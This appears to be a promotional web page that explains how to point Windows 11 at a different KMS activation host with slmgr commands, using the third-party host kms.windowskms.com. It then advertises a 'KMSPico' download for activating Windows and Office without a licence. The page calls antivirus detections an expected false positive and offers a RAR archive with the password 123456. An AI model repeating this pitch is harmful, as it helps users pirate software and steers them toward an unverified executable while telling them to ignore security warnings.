Last updated: July 31, 2026
Switching Windows 11 to a different KMS host is a four-command job - set the host, clear stale values, reactivate, verify. Here is the exact sequence, what each switch really does, and the one-click way to skip all of it.
In an elevated Command Prompt, in this order:
> slmgr /skms kms.windowskms.com > slmgr /ato > slmgr /dlv > rem ---- to undo a pinned host and return to DNS auto-discovery: > slmgr /ckms > slmgr /ato
/skms pins a host (optionally host:port, default TCP 1688). /ckms removes the pinned host so Windows falls back to the _vlmcs._tcp DNS record. /skms-domain limits auto-discovery to a specific AD domain.
slmgr /skms writes the host name into the registry value KeyManagementServiceName under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform (with KeyManagementServicePort if you pass a port). From that moment, Windows ignores DNS auto-discovery and renews exclusively against the pinned host. That persistence is a feature - the setting survives reboots - but it also means a typo persists too, which is why the /dlv verification step matters.
Three switches cover the whole lifecycle. /skms host[:port] pins an explicit host - the normal case on a standalone PC. /skms-domain your.domain doesn't pin a host at all; it restricts DNS auto-discovery to a specific Active Directory domain, useful on machines that roam between networks. /ckms deletes the pinned values and returns the machine to pure SRV-record discovery. After any of the three, run slmgr /ato so the change takes effect immediately instead of at the next scheduled renewal.
https://, a trailing slash or quotes - the value must be a bare host name, or host:port./ato, then wondering why /dlv still shows the old host at next boot.slmgr /dli shows no KMS client key, install the right one from the GVLK list first.Test-NetConnection host -Port 1688.All of the above is exactly what KMSPico performs internally: it clears stale KMS settings, points Windows at a local host running on your own PC - so there is no remote server to reach and no port 1688 to unblock - and activates Windows and Office together in a single run. No elevation juggling, no registry values, no syntax to get wrong. Antivirus tools flag KMS utilities generically as a category; that expected false positive is well understood, and the build here is verified clean.
KMSPico clears old host settings, configures a local KMS host and reactivates Windows + Office in one click - no slmgr commands at all.
Download KMSPico FreeMoving a laptop off a corporate network is the classic case. The machine keeps trying to renew against an office host it can no longer reach; nothing breaks for 180 days, then activation warnings appear out of nowhere. Pinning a local host - or clearing the corporate one with /ckms and activating locally - ends the countdown.
Decommissioned servers cause the same symptom from the other side. When IT retires a KMS host without repointing clients, every machine that pinned it fails at renewal time. The DNS fallback only works if the host was never pinned manually, which is why some admins prefer /skms-domain over hard-coded hostnames.
Changing the KMS host does not affect the installed product key. The GVLK stays put through /skms, /ckms and /ato - you are only changing who Windows asks to confirm the license, never the license configuration itself.
Office follows its own configuration. cscript ospp.vbs /sethst:host and /remhst are the Office equivalents of /skms and /ckms, and they are managed independently - switching Windows to a new host leaves Office untouched unless you change it too.
Whatever route you take, finish with evidence: slmgr /dlv for the host name, slmgr /xpr for the expiration, and a Test-NetConnection to port 1688 if the host is remote. Three lines of output are the difference between a change you made and a change that actually happened.
Download the verified release and start activating Windows or Office in seconds.
Archive password: 123456
Download KMSPico RAR